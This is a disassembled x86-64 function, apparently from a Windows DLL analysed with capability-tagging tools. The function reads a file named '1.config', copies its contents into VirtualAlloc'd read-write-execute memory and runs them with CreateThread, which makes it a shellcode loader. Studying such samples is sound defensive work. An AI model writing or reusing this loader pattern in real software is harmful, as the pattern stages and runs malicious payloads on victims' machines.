Function at 0x180002ae0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x1800651c0]
xor rax, rsp
mov qword [rbp + 0x90], rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x80]
call fcn.180046ba0
lea rcx, [rbp - 0x80]
call fcn.180003df0
nop
cmp qword [rbp + 0x10], 0
jne 0x180002b63
lea rdx, str.Failed_to_open_file:
lea rcx, [0x180068a30]
call fcn.180005f20
mov rcx, rax
lea rdx, str.1.config
call fcn.180005f20
mov rcx, rax
call fcn.1800061d0
xor ebx, ebx
jmp 0x180002cbe
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x80]
call fcn.180004180
lea rcx, [rbp - 0x80]
call fcn.180004260
mov rcx, qword [rsp + 0x68]
add rcx, qword [rsp + 0x70]
call fcn.18001b3e0
mov rbx, rax
mov r8, qword [rsp + 0x70]
add r8, qword [rsp + 0x68]
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.180004450
lea rcx, [rbp - 0x70]
call fcn.1800050d0
test rax, rax
jne 0x180002be0
mov rcx, qword [rbp - 0x80]
movsxd rax, dword [rcx + 4]
mov ecx, 6
mov edx, 2
cmp qword [rbp + rax - 0x38], 0
cmovne ecx, edx
or ecx, dword [rbp + rax - 0x70]
and ecx, 0x17
mov dword [rbp + rax - 0x70], ecx
and ecx, dword [rbp + rax - 0x6c]
jne 0x180002d51
mov rdx, qword [rsp + 0x70]
add rdx, qword [rsp + 0x68]
mov rcx, rbx
call fcn.180002820
lea rdx, str.code_loaded_successfully_from_file:
lea rcx, [0x180068b50]
call fcn.180005f20
mov rcx, rax
lea rdx, str.1.config
call fcn.180005f20
mov rcx, rax
call fcn.1800061d0
mov rcx, qword [rsp + 0x68]
add rcx, qword [rsp + 0x70]
mov esi, ecx
mov r9d, 0x40
mov r8d, 0x1000
mov edx, ecx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x180002c65
lea rdx, str.Failed_to_allocate_memory
lea rcx, [0x180068a30]
call fcn.180005f20
mov rcx, rax
call fcn.1800061d0
xor ebx, ebx
jmp 0x180002cbe
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call fcn.180046500
xor ebx, ebx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x180002cb0
lea rdx, str.Failed_to_create_thread
lea rcx, [0x180068a30]
call fcn.180005f20
mov rcx, rax
call fcn.1800061d0
jmp 0x180002cbe
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x70]
call fcn.180003b40
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rcx, qword [rbp - 0x80]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x18]
mov dword [rsp + rdx + 0x7c], r8d
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x30]
call fcn.18001aca8
nop
mov eax, ebx
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.18001b350
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
test cl, 4
je 0x180002d5f
lea rbx, str.ios_base::badbit_set
jmp 0x180002d73
test dl, cl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.1800017c0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.180001fb0
lea rdx, [0x1800630e0]
lea rcx, [rsp + 0x40]
call fcn.18001d478
int3